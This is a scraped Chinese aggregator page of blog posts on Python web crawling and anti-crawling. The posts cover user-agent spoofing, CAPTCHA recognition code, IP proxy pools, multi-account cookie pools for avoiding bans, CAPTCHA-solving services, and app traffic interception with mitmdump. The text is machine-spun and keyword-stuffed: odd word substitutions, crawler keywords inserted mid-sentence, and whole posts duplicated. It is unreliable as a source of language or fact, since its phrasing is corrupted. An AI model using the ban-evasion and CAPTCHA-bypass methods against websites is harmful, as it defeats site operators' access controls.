  說(shuō)完了書(shū)在來(lái)說(shuō)說(shuō)配套的Coursera課程,是Coursera上太火的零基礎 Python 入門(mén) 專(zhuān)項課程,內容大致和書(shū)上的內容差不多,分成了6門(mén)課程,前三門(mén)課程講解Python句型,后面講Python爬蟲(chóng)的數據采集數據處理等爬蟲(chóng)入門(mén)書(shū)籍,并且有不少的習題,老師也十分特別有趣,,知乎上很早之前就有人介紹這門(mén)課程coursera上有什么值得學(xué)習的Python,數據剖析的課程? - 程剛的回答,本課的課程地址,并且這門(mén)課正好就是今天開(kāi)課(7月25號),學(xué)習課程假如不要證書(shū)的話(huà)也不用花錢(qián),貌似大部分配有英文字幕。

幫你深入了解爬蟲(chóng)與反爬蟲(chóng)技術(shù)

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 293 次瀏覽 ? 2020-06-24 08:02 ? 來(lái)自相關(guān)話(huà)題

  爬蟲(chóng)是哪些呢,簡(jiǎn)單而片面的說(shuō),爬蟲(chóng)就是由計算機手動(dòng)與服務(wù)器交互獲取數據的工具。爬蟲(chóng)的最基本就是get一個(gè)網(wǎng)頁(yè)的源代碼數據,如果更深入一些,就會(huì )出現和網(wǎng)頁(yè)進(jìn)行POST交互,獲取服務(wù)器接收POST懇求后返回的數據。一句話(huà),爬蟲(chóng)拿來(lái)手動(dòng)獲取源數據,至于更多的數據處理等等是后續的工作,這篇文章主要想說(shuō)說(shuō)爬蟲(chóng)獲取數據的這一部分。爬蟲(chóng)請注意網(wǎng)站的Robot.txt文件,不要使爬蟲(chóng)違規,也不要使爬蟲(chóng)對網(wǎng)站造成傷害。
  
  反爬及反反爬概念的不恰當舉例
  基于好多誘因(如服務(wù)器資源,保護數據等),很多網(wǎng)站是限制了爬蟲(chóng)療效的。
  考慮一下,由人來(lái)充當爬蟲(chóng)的角色,我們如何獲取網(wǎng)頁(yè)源代碼?最常用的其實(shí)是右鍵源代碼。
  網(wǎng)站屏蔽了右鍵,怎么辦?
  
  拿出我們做爬蟲(chóng)中最有用的東西 F12(歡迎討論)
  同時(shí)按下F12就可以打開(kāi)了(滑稽)
  
  源代碼下來(lái)了??!
  在把人當成爬蟲(chóng)的情況下,屏蔽右鍵就是反爬取策略,F12就是反反爬取的方法。
  講講即將的反爬取策略
  事實(shí)上,在寫(xiě)爬蟲(chóng)的過(guò)程中一定出現過(guò)沒(méi)有返回數據的情況,這種時(shí)侯其實(shí)是服務(wù)器限制了UA頭(user-agent),這就是一種太基本的反爬取,只要發(fā)送懇求的時(shí)侯加上UA頭就可以了…是不是很簡(jiǎn)單?
  其實(shí)一股腦把須要不需要的Request Headers都加上也是一個(gè)簡(jiǎn)單粗暴的辦法……
  有沒(méi)有發(fā)覺(jué)網(wǎng)站的驗證碼也是一個(gè)反爬取策略呢?為了使網(wǎng)站的用戶(hù)能是真人,驗證碼真是做了很大的貢獻。隨驗證碼而至的,驗證碼識別出現了。
  說(shuō)到這,不知道是先出現了驗證碼識別還是圖片辨識呢?
  簡(jiǎn)單的驗證碼現今辨識上去是極其簡(jiǎn)單的,網(wǎng)上有太多教程,包括稍為進(jìn)階一下的去噪,二值,分割,重組等概念??墒侨缃窬W(wǎng)站人機辨識早已越發(fā)的驚悚了上去,比如這些:
  
  簡(jiǎn)單述說(shuō)一下去噪二值的概念
  將一個(gè)驗證碼
  
  變成
  
  就是二值,也就是將圖片本身弄成只有兩個(gè)色彩,例子很簡(jiǎn)單,通過(guò)python PIL庫里的
  
Image.convert(&quot;1&quot;)
  就能實(shí)現,但若果圖片顯得更為復雜,還是要多思索一下,比如
  
  如果直接用簡(jiǎn)單形式的話(huà) 就會(huì )弄成
  
  思考一些此類(lèi)驗證碼應當如何辨識?這種時(shí)侯 去噪 就派上了好處,根據驗證碼本身的特點(diǎn),可以估算驗證碼的底色和字體之外的RGB值等,將這種值弄成一個(gè)顏色爬蟲(chóng)技術(shù),將字體留出。示例代碼如下,換色即可
  for x in range(0,image.size[0]):
  for y in range(0,image.size[1]):
  # print arr2[x][y]
  if arr[x][y].tolist()==底色:
  arr[x][y]=0
  elif arr[x][y].tolist()[0] in range(200,256) and arr[x][y].tolist()[1] in range(200,256) and arr[x][y].tolist()[2] in range(200,256):
  arr[x][y]=0
  elif arr[x][y].tolist()==[0,0,0]:
  arr[x][y]=0
  else:
  arr[x][y]=255
  arr是由numpy得到的,根據圖片RGB值得出的矩陣,讀者可以自己嘗試建立代碼,親自實(shí)驗一下。
  細致的處理過(guò)后圖片可以弄成
  
  識別率還是很高的。
  在驗證碼的發(fā)展中,還算清晰的數字字母,簡(jiǎn)單的加減乘除,網(wǎng)上有輪子可以用爬蟲(chóng)技術(shù),有些難的數字字母漢字,也可以自己造輪子(比如前面),但更多的東西,已經(jīng)足夠寫(xiě)一個(gè)人工智能了……(有一種工作就是識別驗證碼…)
  再加一個(gè)小提示:有的網(wǎng)站PC端有驗證碼,而手機端沒(méi)有…
  下一個(gè)話(huà)題!
  反爬取策略中比較常見(jiàn)的還有一種封IP的策略,通常是短時(shí)間內過(guò)多的訪(fǎng)問(wèn)才會(huì )被封禁,這個(gè)很簡(jiǎn)單,限制訪(fǎng)問(wèn)頻度或添加IP代理池就OK了,當然,分布式也可以…
  IP代理池-&gt;左轉Google左轉baidu,有很多代理網(wǎng)站,雖然免費中能用的不多 但其實(shí)可以。
  還有一種也可以算作反爬蟲(chóng)策略的就是異步數據,隨著(zhù)對爬蟲(chóng)的逐步深入(明明是網(wǎng)站的更新?lián)Q代!),異步加載是一定會(huì )遇到的問(wèn)題,解決方法仍然是F12。以不愿透漏姓名的網(wǎng)易云音樂(lè )網(wǎng)站為例,右鍵打開(kāi)源代碼后,嘗試搜索一下評論
  
  數據呢?!這就是JS和Ajax盛行以后異步加載的特性。但是打開(kāi)F12,切換到NetWork選項卡,刷新一下頁(yè)面,仔細找尋,沒(méi)有秘密。
  
  哦,對了 如果你在聽(tīng)歌的話(huà),點(diǎn)進(jìn)去能夠下載呢… 查看全部

  爬蟲(chóng)是哪些呢,簡(jiǎn)單而片面的說(shuō),爬蟲(chóng)就是由計算機手動(dòng)與服務(wù)器交互獲取數據的工具。爬蟲(chóng)的最基本就是get一個(gè)網(wǎng)頁(yè)的源代碼數據,如果更深入一些,就會(huì )出現和網(wǎng)頁(yè)進(jìn)行POST交互,獲取服務(wù)器接收POST懇求后返回的數據。一句話(huà),爬蟲(chóng)拿來(lái)手動(dòng)獲取源數據,至于更多的數據處理等等是后續的工作,這篇文章主要想說(shuō)說(shuō)爬蟲(chóng)獲取數據的這一部分。爬蟲(chóng)請注意網(wǎng)站的Robot.txt文件,不要使爬蟲(chóng)違規,也不要使爬蟲(chóng)對網(wǎng)站造成傷害。
  
  反爬及反反爬概念的不恰當舉例
  基于好多誘因(如服務(wù)器資源,保護數據等),很多網(wǎng)站是限制了爬蟲(chóng)療效的。
  考慮一下,由人來(lái)充當爬蟲(chóng)的角色,我們如何獲取網(wǎng)頁(yè)源代碼?最常用的其實(shí)是右鍵源代碼。
  網(wǎng)站屏蔽了右鍵,怎么辦?
  
  拿出我們做爬蟲(chóng)中最有用的東西 F12(歡迎討論)
  同時(shí)按下F12就可以打開(kāi)了(滑稽)
  
  源代碼下來(lái)了??!
  在把人當成爬蟲(chóng)的情況下,屏蔽右鍵就是反爬取策略,F12就是反反爬取的方法。
  講講即將的反爬取策略
  事實(shí)上,在寫(xiě)爬蟲(chóng)的過(guò)程中一定出現過(guò)沒(méi)有返回數據的情況,這種時(shí)侯其實(shí)是服務(wù)器限制了UA頭(user-agent),這就是一種太基本的反爬取,只要發(fā)送懇求的時(shí)侯加上UA頭就可以了…是不是很簡(jiǎn)單?
  其實(shí)一股腦把須要不需要的Request Headers都加上也是一個(gè)簡(jiǎn)單粗暴的辦法……
  有沒(méi)有發(fā)覺(jué)網(wǎng)站的驗證碼也是一個(gè)反爬取策略呢?為了使網(wǎng)站的用戶(hù)能是真人,驗證碼真是做了很大的貢獻。隨驗證碼而至的,驗證碼識別出現了。
  說(shuō)到這,不知道是先出現了驗證碼識別還是圖片辨識呢?
  簡(jiǎn)單的驗證碼現今辨識上去是極其簡(jiǎn)單的,網(wǎng)上有太多教程,包括稍為進(jìn)階一下的去噪,二值,分割,重組等概念??墒侨缃窬W(wǎng)站人機辨識早已越發(fā)的驚悚了上去,比如這些:
  
  簡(jiǎn)單述說(shuō)一下去噪二值的概念
  將一個(gè)驗證碼
  
  變成
  
  就是二值,也就是將圖片本身弄成只有兩個(gè)色彩,例子很簡(jiǎn)單,通過(guò)python PIL庫里的
  
Image.convert(&quot;1&quot;)
  就能實(shí)現,但若果圖片顯得更為復雜,還是要多思索一下,比如
  
  如果直接用簡(jiǎn)單形式的話(huà) 就會(huì )弄成
  
  思考一些此類(lèi)驗證碼應當如何辨識?這種時(shí)侯 去噪 就派上了好處,根據驗證碼本身的特點(diǎn),可以估算驗證碼的底色和字體之外的RGB值等,將這種值弄成一個(gè)顏色爬蟲(chóng)技術(shù),將字體留出。示例代碼如下,換色即可
  for x in range(0,image.size[0]):
  for y in range(0,image.size[1]):
  # print arr2[x][y]
  if arr[x][y].tolist()==底色:
  arr[x][y]=0
  elif arr[x][y].tolist()[0] in range(200,256) and arr[x][y].tolist()[1] in range(200,256) and arr[x][y].tolist()[2] in range(200,256):
  arr[x][y]=0
  elif arr[x][y].tolist()==[0,0,0]:
  arr[x][y]=0
  else:
  arr[x][y]=255
  arr是由numpy得到的,根據圖片RGB值得出的矩陣,讀者可以自己嘗試建立代碼,親自實(shí)驗一下。
  細致的處理過(guò)后圖片可以弄成
  
  識別率還是很高的。
  在驗證碼的發(fā)展中,還算清晰的數字字母,簡(jiǎn)單的加減乘除,網(wǎng)上有輪子可以用爬蟲(chóng)技術(shù),有些難的數字字母漢字,也可以自己造輪子(比如前面),但更多的東西,已經(jīng)足夠寫(xiě)一個(gè)人工智能了……(有一種工作就是識別驗證碼…)
  再加一個(gè)小提示:有的網(wǎng)站PC端有驗證碼,而手機端沒(méi)有…
  下一個(gè)話(huà)題!
  反爬取策略中比較常見(jiàn)的還有一種封IP的策略,通常是短時(shí)間內過(guò)多的訪(fǎng)問(wèn)才會(huì )被封禁,這個(gè)很簡(jiǎn)單,限制訪(fǎng)問(wèn)頻度或添加IP代理池就OK了,當然,分布式也可以…
  IP代理池-&gt;左轉Google左轉baidu,有很多代理網(wǎng)站,雖然免費中能用的不多 但其實(shí)可以。
  還有一種也可以算作反爬蟲(chóng)策略的就是異步數據,隨著(zhù)對爬蟲(chóng)的逐步深入(明明是網(wǎng)站的更新?lián)Q代!),異步加載是一定會(huì )遇到的問(wèn)題,解決方法仍然是F12。以不愿透漏姓名的網(wǎng)易云音樂(lè )網(wǎng)站為例,右鍵打開(kāi)源代碼后,嘗試搜索一下評論
  
  數據呢?!這就是JS和Ajax盛行以后異步加載的特性。但是打開(kāi)F12,切換到NetWork選項卡,刷新一下頁(yè)面,仔細找尋,沒(méi)有秘密。
  
  哦,對了 如果你在聽(tīng)歌的話(huà),點(diǎn)進(jìn)去能夠下載呢…

初探爬蟲(chóng) ||《python 3 網(wǎng)絡(luò )爬蟲(chóng)開(kāi)發(fā)實(shí)踐》讀書(shū)筆記 | 小蔣不素小蔣

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 426 次瀏覽 ? 2020-06-24 08:02 ? 來(lái)自相關(guān)話(huà)題

  
  從 Python3.5 版本開(kāi)始,Python 中加入了 async/await。
  接口抓取的缺點(diǎn)是抓不到 js 渲染后的頁(yè)面,而下邊介紹的模擬抓取能挺好的解決問(wèn)題。
  也就是可見(jiàn)即可爬。
  Splash 是一個(gè) javascript 渲染服務(wù)。它是一個(gè)帶有 HTTP API 的輕量級 Web 瀏覽器。
  Selenium 是一個(gè)自動(dòng)化測試工具,利用它我們可以驅動(dòng)測覽器執行特定的動(dòng)作,如點(diǎn)擊、下拉等操作。
  Selenium + Chrome Driver,可以驅動(dòng) Chrome 瀏覽器完成相應的操作。
  Selenium + Phantoms,這樣在運行的時(shí)侯就不會(huì )再彈出一個(gè)瀏覽器了。而且 Phantoms 的運行效率也很高。
  Phantoms 是一個(gè)無(wú)界面的、可腳本編程的 Webkit 7 瀏覽器引擎。
  Appium 是 App 版的 Selenium。
  抓取網(wǎng)頁(yè)代碼以后,下一步就是從網(wǎng)頁(yè)中提取信息。
  正則是最原始的形式,寫(xiě)上去繁雜,可讀性差。
  lxml 是 Python 的一個(gè)解析庫,支持 HTML 和 XML 的解析,支持 XPah 解析方法。
  Beautiful Soup 的 HTML 和 XML 解析器是依賴(lài)于 lxml 庫的,所以在此之前請確保早已成功安裝好了 lxml。
  Beautiful Soup提供好幾個(gè)解析器:
  
  pyquery 同樣是一個(gè)強悍的網(wǎng)頁(yè)解析工具,它提供了和 jquery 類(lèi)似的句型來(lái)解析 HTML 文檔。
  推薦:
  Beautiful Soup(lxml)。lxml 解析器有解析 HTML 和 XML 的功能,而且速度快,容錯能力強。
  如果本身就熟悉 css 和 jquery 的話(huà),就推薦 pyquery。
  NOSQL,全稱(chēng) Not Only SQL,意為不僅僅是 SQL,泛指非關(guān)系型數據庫。包括:
  口 鍵值儲存數據庫:代表有 Redis、Voldemort 和 Oracle BDB 等
  口 列存儲數據庫:代表有 Cassandra、Hbase 和 Riak 等。
  口 文檔型數據庫:代表有 COUCHDB 和 Mongodb 等。
  口 圖形數據庫:代表有 Neo4J、infogrid 和 Infinite Graph 等。
  針對一些復雜應用,尤其是 app,請求不象在 chrome 的 console 里這么容易看見(jiàn),這就須要抓包工具。
  mitmproxy(mitmdump) 比 Charles 更強大的是爬蟲(chóng)軟件開(kāi)發(fā),可以支持對接 Python 腳本去處理 resquest / response。
  方案:Appium + mitmdump
  做法:用 mitmdump 去竊聽(tīng)插口數據,用 Appium 去模擬 App 的操作。
  好處:即可繞開(kāi)復雜的插口參數又能實(shí)現自動(dòng)化提升效率。
  缺點(diǎn):有一些 app,如微信朋友圈的數據又經(jīng)過(guò)了一次加密造成難以解析,這種情況只能純用 Appium 了。但是對于大多數 App 來(lái)說(shuō),此種方式是奏效的。
  pyspide 框架有一些缺點(diǎn),比如可配置化程度不高,異常處理能力有限等,它對于一些反爬程度特別強的網(wǎng)站的爬取變得力不從心。
  所以這兒不多做介紹。
  Scrapy 是一個(gè)基于 Twisted 的異步處理框架,是純 Python 實(shí)現的爬蟲(chóng)框架。
  Scrapy 包括:
  Scrapy-Splash:一個(gè) Scrapy 中支持 Javascript 渲染的工具。
  Scrapy-Redis :Scrap 的分布式擴充模塊。
  Scrapyd :一個(gè)用于布署和運行 Scrapy 項目的工具。
  Scrapyrt :為 Scrap 提供了一個(gè)調度的 HTTP 接口。
  Gerapy :一個(gè) Scrapy 分布式管理模塊。
  Scrapy 可對接:
  Crawlspider : Scrap 提供的一個(gè)通用 Spider,我們可以指定一些爬取規則來(lái)實(shí)現頁(yè)面的提取,
  Splash / Selenium :自動(dòng)化爬取
  Docker
  具體使用:待寫(xiě)
  URI 的全稱(chēng)為 Uniform Resource Identifier,即統一資源標志符。
  URL 的全稱(chēng)為 Universal Resource Locator,即統一資源定位符。
  URN 的全稱(chēng)為 Universal Resource Name,即統一資源名稱(chēng)。
  
  URI 可以進(jìn)一步界定為URL、URN或二者兼具。URL 和 URN 都是 URI 子集。
  URN 如同一個(gè)人的名稱(chēng),而 URL 代表一個(gè)人的住址。換言之,URN 定義某事物的身分,而 URL 提供查找該事物的技巧。
  現在常用的http網(wǎng)址,如 就是URL。
  而用于標示惟一書(shū)目的 ISBN 系統, 如:isbn:0-486-27557-4 ,就是 URN 。
  但是在目前的互聯(lián)網(wǎng)中,URN 用得十分少,所以幾乎所有的 URI 都是 URL。
  Robots 協(xié)議也叫做爬蟲(chóng)協(xié)議、機器人合同,它的全名叫作網(wǎng)路爬蟲(chóng)排除標準(Robots Exclusion Protocol),用來(lái)告訴爬蟲(chóng)和搜索引擎什么頁(yè)面可以抓取,哪些不可以抓取。它一般是一個(gè)叫作robots.txt 的文本文件,一般置于網(wǎng)站的根目錄下。
  當搜索爬蟲(chóng)訪(fǎng)問(wèn)一個(gè)站點(diǎn)時(shí),它首先會(huì )檢測這個(gè)站點(diǎn)根目錄下是否存在 robots.txt 文件,如果存在搜索爬蟲(chóng)會(huì )按照其中定義的爬取范圍來(lái)爬取。如果沒(méi)有找到這個(gè)文件爬蟲(chóng)軟件開(kāi)發(fā),搜索爬蟲(chóng)便會(huì )訪(fǎng)問(wèn)所有可直接訪(fǎng)問(wèn)的頁(yè)面。
  robotx.txt 需要置于網(wǎng)站根目錄。
  User-agent: *
Disallow: /
Allow: /public/
  Disallow表示不容許爬的頁(yè)面,Allow表示準許爬的頁(yè)面,User-agent表示針對那個(gè)常用搜索引擎。
  User-agent 為約定好的值,取值如下表:
  
  1、測試環(huán)境
  2、管理后臺(如 cms)
  3、其它
  1、Google的 Robots.txt 規范。
  2、站長(cháng)工具的 robots文件生成 工具。
  Xpath,全稱(chēng) XML Path Language,即 XML 路徑語(yǔ)言,它是一門(mén)在 XML 文檔中査找信息的語(yǔ)言。它最初是拿來(lái)搜救 XML 文檔的,但是它同樣適用于 HTML 文檔的搜索。
  Xpath 的選擇功能非常強悍,它提供了十分簡(jiǎn)約明了的路徑選擇表達式。另外,它還提供了超過(guò) 100 個(gè)內建函數,用于字符串、數值、時(shí)間的匹配以及節點(diǎn)、序列的處理等。
  Xpath 于 1999 年 11 月 16 日成為 W3C 標準。
  就好象 css 選擇器。
  可以使用 Tesseract ,它是 Python 的一個(gè) OCR 識別庫。
  市面上用的最多的是這家提供的滑動(dòng)驗證碼: ,如 bilibili。
  可以用自動(dòng)化庫,如 Selenium 模擬滑動(dòng)(注意人去滑動(dòng)按鍵是先快后慢)。
  解決思路:模板匹配+模擬拖動(dòng)
  還有一個(gè)專(zhuān)門(mén)提供點(diǎn)觸驗證碼服務(wù)的站點(diǎn) Touclick,例如 12306 網(wǎng)站。
  上面說(shuō)的第四個(gè):點(diǎn)觸驗證碼,應該是最難辨識的了。
  但互聯(lián)網(wǎng)上有好多驗證碼服務(wù)平臺,平臺 7×24 小時(shí)提供驗證碼辨識服務(wù),一張圖片幾秒都會(huì )獲得辨識結果,準確率可達 90%以上。
  個(gè)人比較推薦的一個(gè)平臺是超級鷹,其官網(wǎng)為 。其提供的服務(wù)種類(lèi)十分廣泛,可辨識的驗證碼類(lèi)型特別多,其中就包括點(diǎn)觸驗證碼。
  ロ FTP 代理服務(wù)器:主要用于訪(fǎng)問(wèn) FTP 服務(wù)器,一般有上傳、下載以及緩存功能,端口通常為 21、2121 等。
  ロ HTP 代理服務(wù)器:主要用于訪(fǎng)問(wèn)網(wǎng)頁(yè),一般有內容過(guò)濾和緩存功能,端口通常為 80、8080、3128等。
  口 SSL/TLS代理:主要用于訪(fǎng)問(wèn)加密網(wǎng)站,一般有SSL或TLS加密功能(最高支持 128 位加密硬度),端口通常為 443。
  口 RTSP 代理:主要用于訪(fǎng)問(wèn) Real 流媒體服務(wù)器,一般有緩存功能,端口通常為 554。
  口 Telnet 代理:主要用于 telnet 遠程控制(黑客入侵計算機時(shí)常用于隱藏身份),端口通常為 23。
  口 POP3 SMTP 代理:主要用于 POP3 SMTP 方式收發(fā)短信,一般有緩存功能,端口通常為 11025 。
  口 SOCKS 代理:只是單純傳遞數據包,不關(guān)心具體合同和用法,所以速度快好多,一般有緩存功能,端口通常為 1080。SOCKS 代理合同又分為 SOCKS4 和 SOCKS5,前者只支持 TCP,而后者支持 TCP 和 UDP,還支持各類(lèi)身分驗證機制、服務(wù)器端域名解析等。簡(jiǎn)單來(lái)說(shuō),SOCKS4 能做到的 SOCKS5 都可以做到,但 SOCKS5 能做到的 SOCKS4 不一定能做到。
  口 高度匿名代理:會(huì )將數據包原封不動(dòng)地轉發(fā),在服務(wù)端看來(lái)就似乎真的是一個(gè)普通客戶(hù)端在訪(fǎng)問(wèn),而記錄的 IP 是代理服務(wù)器的 IP。
  ロ 普通匿名代理:會(huì )在數據包上做一些改動(dòng),服務(wù)端上有可能發(fā)覺(jué)這是個(gè)代理服務(wù)器,也有一定概率徹查到客戶(hù)端的真實(shí) IP。代理服務(wù)器一般會(huì )加入的 HTIP 頭有 HTTPVIA 和 HTTPXFORWARDEDFOR。
  口 透明代理:不但改動(dòng)了數據包,還會(huì )告訴服務(wù)器客戶(hù)端的真實(shí) IP。這種代理不僅能用緩存技術(shù)提升瀏覽速率,能用內容過(guò)濾提升安全性之外,并無(wú)其他明顯作用,最常見(jiàn)的事例是外網(wǎng)中的硬件防火墻。
  口 間諜代理:指組織或個(gè)人創(chuàng )建的用于記錄用戶(hù)傳輸的數據,然后進(jìn)行研究、監控等目的的代理服務(wù)器。
  網(wǎng)站上會(huì )有很多免費代理,比如南刺: 。但是這種免費代理大多數情況下都是不好用的,所以比較靠譜的方式是訂購付費代理。
  1、提供插口獲取海量代理,按天或則按時(shí)收費,如訊代理;
  如果信賴(lài)訊代理的話(huà),我們也可以不做代理池篩選,直接使用代理。不過(guò)我個(gè)人還是推薦使用代理池篩選,以提升代理可用機率。自己再做一次篩選,以確保代理可用。
  2、搭建了代理隧洞,直接設置固定域名代理,如阿布云代理。云代理在云端維護一個(gè)全局 IP 池供代理隧洞使用,池中的 IP 會(huì )不間斷更新。代理隧洞,配置簡(jiǎn)單,代理速率快且十分穩定。
  等于幫你做了一個(gè)云端的代理池,不用自己實(shí)現了。
  需要注意的是,代理 IP 池中部份 IP 可能會(huì )在當日重復出現多次。
  3、ADSL 撥號代理
  ADSL (Asymmetric Digital Subscriber Line,非對稱(chēng)數字用戶(hù)支路),它的上行和下行帶寬不對稱(chēng),它采用頻分復用技術(shù)把普通的電話(huà)線(xiàn)分成了電話(huà)、上行和下行 3 個(gè)相對獨立的信道,從而防止了互相之間的干擾。
  我們借助了 ADSL 通過(guò)拔號的形式上網(wǎng),需要輸入 ADSL 賬號和密碼,每次拔號就更換一個(gè) IP 這個(gè)特點(diǎn)。
  所以我們可以先訂購一臺動(dòng)態(tài)拔號 VPS 主機,這樣的主機服務(wù)商相當多。在這里使用了云立方,官方網(wǎng)站:
  代理不論是免費的還是付費的,都不能保證都是可用的,因為:
  1、此 IP 可能被其他人使用來(lái)爬取同樣的目標站點(diǎn)而被封禁。
  2、代理服務(wù)器忽然發(fā)生故障。
  3、網(wǎng)絡(luò )忙碌。
  4、購買(mǎi)的代理到期。
  5、等等
  所以,我們須要提早做篩選,將不可用的代理剔除掉,保留可用代理。這就須要代理池,來(lái)獲取隨機可用的代理。
  
  代理池分為 4 個(gè)模塊: 存儲模塊、獲取模塊、檢測模塊、接口模塊。
  口 存儲模塊使用 Redis 的有序集合,用來(lái)做代理的去重和狀態(tài)標示,同時(shí)它也是中心模塊和基礎模塊,將其他模塊串聯(lián)上去。
  口 獲取模塊定時(shí)從代理網(wǎng)站獲取代理,將獲取的代理傳遞給儲存模塊,并保存到數據庫。
  口 檢測模塊定時(shí)通過(guò)儲存模塊獲取所有代理,并對代理進(jìn)行檢查,根據不同的測量結果對代理設置不同的標示。
  口 接口模塊通過(guò)WebAPI 提供服務(wù)插口,接口通過(guò)聯(lián)接數據庫并通過(guò)Web 形式返回可用的代理。
  對于這兒的測量模塊,建議使用 aiohttp 而不是 requests,原因是:
  對于響應速率比較快的網(wǎng)站來(lái)說(shuō),requests 同步懇求和 aiohttp 異步懇求的療效差別沒(méi)這么大。但對于測量代理來(lái)說(shuō),檢測一個(gè)代理通常須要十多秒甚至幾十秒的時(shí)間,這時(shí)候使用 aiohttp 異步懇求庫的優(yōu)勢就大大彰顯下來(lái)了,效率可能會(huì )提升幾十倍不止。
 ?。?)有的數據必須要登陸能夠抓取。
 ?。?)有時(shí)候,登錄帳號也可以減少被封禁的幾率。
  做大規模抓取,我們就須要擁有好多帳號,每次懇求隨機選定一個(gè)帳號,這樣就減少了單個(gè)帳號的訪(fǎng)問(wèn)潁率,被封的機率又會(huì )大大增加。
  所以,我們可以維護一個(gè)登陸用的 Cookies 池。
  架構跟代理池一樣??蓞⒖忌衔?。
  待寫(xiě)
  python 的 open() 支持的模式可以是只讀/寫(xiě)入/追加,也是可以它們的組合型,具體如下:
  模式描述
  r
  以只讀方法打開(kāi)文件。文件的表針將會(huì )放到文件的開(kāi)頭。這是默認模式。
  rb
  以二進(jìn)制格式打開(kāi)一個(gè)文件用于只讀。文件表針將會(huì )放到文件的開(kāi)頭。這是默認模式。
  r+
  打開(kāi)一個(gè)文件用于讀寫(xiě)。文件表針將會(huì )放到文件的開(kāi)頭。
  rb+
  以二進(jìn)制格式打開(kāi)一個(gè)文件用于讀寫(xiě)。文件表針將會(huì )放到文件的開(kāi)頭。
  w
  打開(kāi)一個(gè)文件只用于寫(xiě)入。如果該文件已存在則將其覆蓋。如果該文件不存在,創(chuàng )建新文件。
  wb
  以二進(jìn)制格式打開(kāi)一個(gè)文件只用于寫(xiě)入。如果該文件已存在則將其覆蓋。如果該文件不存在,創(chuàng )建新文件。
  w+
  打開(kāi)一個(gè)文件用于讀寫(xiě)。如果該文件已存在則將其覆蓋。如果該文件不存在,創(chuàng )建新文件。
  wb+
  以二進(jìn)制格式打開(kāi)一個(gè)文件用于讀寫(xiě)。如果該文件已存在則將其覆蓋。如果該文件不存在,創(chuàng )建新文件。
  a
  打開(kāi)一個(gè)文件用于追加。如果該文件已存在,文件指針將會(huì )放到文件的結尾。也就是說(shuō),新的內容將會(huì )被寫(xiě)入到已有內容然后。如果該文件不存在,創(chuàng )建新文件進(jìn)行寫(xiě)入。
  ab
  以二進(jìn)制格式打開(kāi)一個(gè)文件用于追加。如果該文件已存在,文件指針將會(huì )放到文件的結尾。也就是說(shuō),新的內容將會(huì )被寫(xiě)入到已有內容然后。如果該文件不存在,創(chuàng )建新文件進(jìn)行寫(xiě)入。
  a+
  打開(kāi)一個(gè)文件用于讀寫(xiě)。如果該文件已存在,文件指針將會(huì )放到文件的結尾。文件打開(kāi)時(shí)會(huì )是追加模式。如果該文件不存在,創(chuàng )建新文件用于讀寫(xiě)。
  ab+
  以二進(jìn)制格式打開(kāi)一個(gè)文件用于追加。如果該文件已存在,文件指針將會(huì )放到文件的結尾。如果該文件不存在,創(chuàng )建新文件用于讀寫(xiě)。
  1、r+ 和 w+ 都是讀寫(xiě),有哪些區別?
  答:前者是假如沒(méi)有找到文件則拋錯,后者是假如沒(méi)有找到文件則手動(dòng)創(chuàng )建文件。
  2、a 可以看成是 w 的變種,附加上了”追加內容“的特點(diǎn)。
  一般調用 open() 的時(shí)侯還須要再調用 close()。 python 提供了一種縮寫(xiě)方式,那就是使用 with as 語(yǔ)法。在 with 控制塊結束時(shí),文件會(huì )手動(dòng)關(guān)掉,不需要 close() 了。調用寫(xiě)法如下: 查看全部

  
  從 Python3.5 版本開(kāi)始,Python 中加入了 async/await。
  接口抓取的缺點(diǎn)是抓不到 js 渲染后的頁(yè)面,而下邊介紹的模擬抓取能挺好的解決問(wèn)題。
  也就是可見(jiàn)即可爬。
  Splash 是一個(gè) javascript 渲染服務(wù)。它是一個(gè)帶有 HTTP API 的輕量級 Web 瀏覽器。
  Selenium 是一個(gè)自動(dòng)化測試工具,利用它我們可以驅動(dòng)測覽器執行特定的動(dòng)作,如點(diǎn)擊、下拉等操作。
  Selenium + Chrome Driver,可以驅動(dòng) Chrome 瀏覽器完成相應的操作。
  Selenium + Phantoms,這樣在運行的時(shí)侯就不會(huì )再彈出一個(gè)瀏覽器了。而且 Phantoms 的運行效率也很高。
  Phantoms 是一個(gè)無(wú)界面的、可腳本編程的 Webkit 7 瀏覽器引擎。
  Appium 是 App 版的 Selenium。
  抓取網(wǎng)頁(yè)代碼以后,下一步就是從網(wǎng)頁(yè)中提取信息。
  正則是最原始的形式,寫(xiě)上去繁雜,可讀性差。
  lxml 是 Python 的一個(gè)解析庫,支持 HTML 和 XML 的解析,支持 XPah 解析方法。
  Beautiful Soup 的 HTML 和 XML 解析器是依賴(lài)于 lxml 庫的,所以在此之前請確保早已成功安裝好了 lxml。
  Beautiful Soup提供好幾個(gè)解析器:
  
  pyquery 同樣是一個(gè)強悍的網(wǎng)頁(yè)解析工具,它提供了和 jquery 類(lèi)似的句型來(lái)解析 HTML 文檔。
  推薦:
  Beautiful Soup(lxml)。lxml 解析器有解析 HTML 和 XML 的功能,而且速度快,容錯能力強。
  如果本身就熟悉 css 和 jquery 的話(huà),就推薦 pyquery。
  NOSQL,全稱(chēng) Not Only SQL,意為不僅僅是 SQL,泛指非關(guān)系型數據庫。包括:
  口 鍵值儲存數據庫:代表有 Redis、Voldemort 和 Oracle BDB 等
  口 列存儲數據庫:代表有 Cassandra、Hbase 和 Riak 等。
  口 文檔型數據庫:代表有 COUCHDB 和 Mongodb 等。
  口 圖形數據庫:代表有 Neo4J、infogrid 和 Infinite Graph 等。
  針對一些復雜應用,尤其是 app,請求不象在 chrome 的 console 里這么容易看見(jiàn),這就須要抓包工具。
  mitmproxy(mitmdump) 比 Charles 更強大的是爬蟲(chóng)軟件開(kāi)發(fā),可以支持對接 Python 腳本去處理 resquest / response。
  方案:Appium + mitmdump
  做法:用 mitmdump 去竊聽(tīng)插口數據,用 Appium 去模擬 App 的操作。
  好處:即可繞開(kāi)復雜的插口參數又能實(shí)現自動(dòng)化提升效率。
  缺點(diǎn):有一些 app,如微信朋友圈的數據又經(jīng)過(guò)了一次加密造成難以解析,這種情況只能純用 Appium 了。但是對于大多數 App 來(lái)說(shuō),此種方式是奏效的。
  pyspide 框架有一些缺點(diǎn),比如可配置化程度不高,異常處理能力有限等,它對于一些反爬程度特別強的網(wǎng)站的爬取變得力不從心。
  所以這兒不多做介紹。
